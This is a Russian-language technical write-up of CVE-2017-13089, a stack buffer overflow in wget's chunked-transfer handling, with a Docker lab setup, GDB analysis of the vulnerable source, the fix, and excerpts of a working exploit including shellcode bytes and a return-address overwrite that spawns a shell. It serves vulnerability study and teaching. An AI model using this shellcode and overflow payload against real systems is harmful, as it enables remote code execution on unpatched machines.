Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget. С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. Мы разберем, как работает баг wget, связанный с переполнением буфера. Его эксплуатация может привести к выполнению произвольных команд на целевой системе.
Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.
Еще по теме: Повышение привилегий в Windows
Стенд
Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее вы можете в его репозитории. Затем останется только выполнить:
1 |
docker build -t cve201713089 . |
Если ничего качать не хочется, то достаточно команды:
1 |
docker pull robertcolejensen/cve201713089 |
Затем запускаем контейнер:
1 |
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash |
Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки:
1 2 3 |
$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz $ tar xvzf wget-1.19.1.tar.gz $ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd - |
Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов:
1 |
$ gdb wget |
Теперь с этим можно работать. Переходим к следующему этапу.
Уязвимость wget
Давайте сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget.
1 |
$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload |
Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.
1 2 |
$ nc -lp 1337 < payload & $ wget --debug localhost:1337 |
После коннекта и получения ответа утилита крашится.

Теперь проделаем то же самое, но уже через отладчик GDB.
1 2 3 |
$ gdb --args wget 127.0.0.1:1337 $ r $ bt full |
Если вы еще не заглянули в файл payload, то самое время это сделать. В нем вы можете обнаружить вереницу символов А, которые и перезаписали содержимое стека. Результат можете наблюдать на скриншоте.

Давайте поближе рассмотрим последнюю функцию, которая выполнялась перед крашем. Это skip_short_body из файла http.c.
/wget-1.19.1/src/http.c
1 |
946: skip_short_body (int fd, wgint contlen, bool chunked) |
Кто же ее вызывает? Обратите внимание на пейлоад, в качестве ответа он возвращает код 401. При парсинге ответа wget записывает его в переменную statcode, которая является частью структуры http_stat.
/wget-1.19.1/src/http.c
1 2 3 4 5 |
1542: struct http_stat 1543: { ... 1552: int statcode; /* status code */ |
Затем в зависимости от этого статуса выполняются разные куски кода. За 401 отвечает следующий:
/wget-1.19.1/src/http.c
1 2 3 4 5 6 7 8 9 |
127: #define HTTP_STATUS_UNAUTHORIZED 401 ... 3493: if (statcode == HTTP_STATUS_UNAUTHORIZED) 3494: { 3495: /* Authorization is required. */ ... 3523: if (keep_alive && !head_only 3524: && skip_short_body (sock, contlen, chunked_transfer_encoding)) 3525: CLOSE_FINISH (sock); |
Обратите внимание на строку 3524. В этом условии и происходит вызов уязвимой функции skip_short_body. Но для этого необходимо, чтобы две переменные (keep_alive и head_only) приняли нужные значения (строка 3523), потому что в C/С++, как и во многих других языках, обработка логических операций выполняется по принципу short-circuit evaluation.
Вы, наверное, уже догадались, что означают сами переменные:
- keep_alive принимает значение true, если в ответе от сервера хидер Connection равен keep-alive
- head_only — это просто флаг наличия только хидера в ответе

Итак, переменные имеют нужные значения, а значит, skip_short_body выполняется. Посмотрим на параметры, которые в нее передаются.
В первую очередь нас интересует параметр chunked_transfer_encoding. Он зависит от заголовка Transfer-Encoding, который возвращает сервер. Этот заголовок парсится, и если он установлен в chunked, то переменная становится true.
/wget-1.19.1/src/http.c
1 2 3 4 |
3449: chunked_transfer_encoding = false; 3450: if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval)) 3451: && 0 == c_strcasecmp (hdrval, "chunked")) 3452: chunked_transfer_encoding = true; |
При получении пакета с таким заголовком от сервера клиент использует механизм chunked transfer encoding при обработке запроса. Он полезен в тех случаях, когда, например, нужно передать динамически сформированные данные, для которых нельзя заранее определить размер. Данные передаются небольшими частями (они же блоки или чанки — называйте как хотите), которые имеют следующий формат:
1 2 |
<размер блока (в HEX)><CRLF> <данные блока><CRLF> |
Для отделения записи длины чанка от его содержания используется разделитель CRLF (в виде строки \r\n или как байты в формате HEX: 0x0D, 0x0A). Размер чанка — это длина передаваемых в нем данных в байтах, где разделители CRLF не учитываются.
Следующий параметр, который нас интересует, — contlen. Эта переменная отвечает за размер данных в теле ответа и изначально парсится из хидера Content-Length. Мы его не передаем, так как используем механизм передачи данных частями, поэтому contlen так и остается равной -1, как и была инициализирована.
/wget-1.19.1/src/http.c
1 2 3 4 |
3318: contlen = -1; ... 3414: if (!opt.ignore_length 3415: && resp_header_copy (resp, "Content-Length", hdrval, sizeof (hdrval))) |
Самое время пробежаться по телу функции skip_short_body, чтобы понять логику выполняемого кода. Сначала она проверяет, не превышает ли длина ответа (contlen) 4096 байт. Если да, то соединение просто закрывается.
/wget-1.19.1/src/http.c
1 2 3 4 5 6 7 8 |
948: enum { ... 950: SKIP_THRESHOLD = 4096 /* the largest size we read */ 951: }; ... 958: if (contlen > SKIP_THRESHOLD) 959: return false; |
Затем начинается цикл чтения данных из переданного пакета.
/wget-1.19.1/src/http.c
1 |
961: while (contlen > 0 || chunked) |
Переменная contlen у нас, конечно, меньше нуля, а вот chunked установлено в true, поэтому начинается чтение данных. Сначала wget определяет размер данных первого чанка. Для этого функция strtol() конвертирует строковое представление числа, которое хранится в строке line, в длинное целое и возвращает результат.
/wget-1.19.1/src/http.c
1 |
973: remaining_chunk_size = strtol (line, &endl, 16); |
Размер первого чанка в эксплоите установлен в -0xFFFFFD00.

Поэтому переменная remaining_chunk_size примет значение -4294966528.
1 2 |
(gdb) p remaining_chunk_size $7 = -4294966528 |
Эта переменная отвечает за размер оставшихся непрочитанных данных из текущего блока. Теперь вычисляется переменная contlen. Для этого используется функция MIN. Она возвращает наименьшее из двух переданных чисел.
/wget-1.19.1/src/http.c
1 2 3 |
949: SKIP_SIZE = 512, /* size of the download buffer */ ... 984: contlen = MIN (remaining_chunk_size, SKIP_SIZE); |
Естественно, наше полученное значение remaining_chunk_size гораздо меньше SKIP_SIZE, так что contlen теперь равна -4294966528.

Теперь настало время чтения данных из пакета и записи их в память. Для этого в функцию fd_read передается указатель на текущий пакет, переменная для записи данных и их размер.
/wget-1.19.1/src/http.c
1 |
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); |
/wget-1.19.1/src/connect.c
1 2 3 |
928: int 929: fd_read (int fd, char *buf, int bufsize, double timeout) 930: { |
Так как fd_read в качестве размера буфера (bufsize) принимает только тип int, верхние 32 бита длины отбрасываются, когда мы передаем отрицательные значения в качестве размера чанка.

Затем все параметры уходят в функцию read.
/wget-1.19.1/src/connect.c
1 |
938: return sock_read (fd, buf, bufsize); |
/wget-1.19.1/src/connect.c
1 2 3 4 5 6 7 8 9 |
778: static int 779: sock_read (int fd, char *buf, int bufsize) 780: { 781: int res; 782: do 783: res = read (fd, buf, bufsize); 784: while (res == -1 && errno == EINTR); 785: return res; 786: } |
Обратите внимание на адрес буфера, в который будут записываться данные, и на расположение стека.

При создании буфера под него выделяется всего 512 байт, а читать и записывать мы будем 768, вот тут и возникает переполнение. Выходим за границу выделенной нам памяти.
/wget-1.19.1/src/connect.c
1 2 3 4 |
949: SKIP_SIZE = 512, /* size of the download buffer */ ... 953: char dlbuf[SKIP_SIZE + 1]; 954: dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */ |
После того как отработает read, данные в размере 768 байт будут прочитаны и записаны по адресу buf. Теперь стек перезаписан вереницей из символов А, которые были в пейлоаде. Таким образом, мы можем управлять адресом возврата из функции skip_short_body.

Дальше все просто — вычисляется размер оставшихся данных из чанка.
/wget-1.19.1/src/http.c
1 |
998: contlen -= ret; |
Цикл уходит на второй круг для чтения следующей порции данных. Только теперь contlen у нас равен -4294967296 (-4294966528 — 768), что в int-представлении равно 0. Так как буфер пуст и читать больше нечего, выполняется условие:
/wget-1.19.1/src/http.c
1 2 3 4 5 6 7 8 9 |
989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); 990: if (ret <= 0) 991: { 992: /* Don’t normally report the error since this is an 993: optimization that should be invisible to the user. */ 994: DEBUGP (("] aborting (%s).\n", 995: ret < 0 ? fd_errstr (fd) : "EOF received")); 996: return false; 997: } |
Программа выходит из функции skip_short_body в никуда, а все благодаря перезаписанному стеку.

Вот так отрабатывает PoC. Если хотите поэкспериментировать с RCE, то загляните к нашему китайскому товарищу под ником mzeyong в репозиторий. Там вы найдете эксплоит, результатом работы которого будет запущенный /bin/dash.
Сам сплоит состоит из двух частей, первая — это собственно сам шелл-код.
shellcode.py
1 2 3 4 5 6 7 |
14: buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05" 15: buf += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2" 16: buf += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" 17: buf += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76" 18: buf += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53" 19: buf += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda" 20: buf += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b" |
Вторая часть — адрес, где этот самый шелл-код будет располагаться. На вашей машине он может быть другим.
shellcode.py
1 2 |
22: Payload += buf+(568-len(buf))*"A" 23: Payload += "\xd0\xd9\xff\xff\xff\x7f\x00\x00" |
Обратите внимание, что адрес записывается со смещением в 568 байт. Это необходимо, чтобы он оказался на верхушке стека, после того как буфер будет переполнен.
После запуска можно наблюдать следующую картину:

Вот так легко и непринужденно эксплоит отрабатывает в тепличных условиях. Чтобы превратить его в боевой сплоит для реальных машин, придется попотеть, но это уже выходит за рамки нашей статьи.
Заключение
Если вас интересует фикс бага, то вот он. Разработчики добавили проверку на отрицательные значения переменной remaining_chunk_size.
/wget-1.19.2/src/http.c
1 2 |
976: if (remaining_chunk_size < 0) 977: return false; |
Казалось бы, этот баг вполне можно было обнаружить автоматикой заранее, но и в наше время такие вещи еще, похоже, встречаются.
aLLy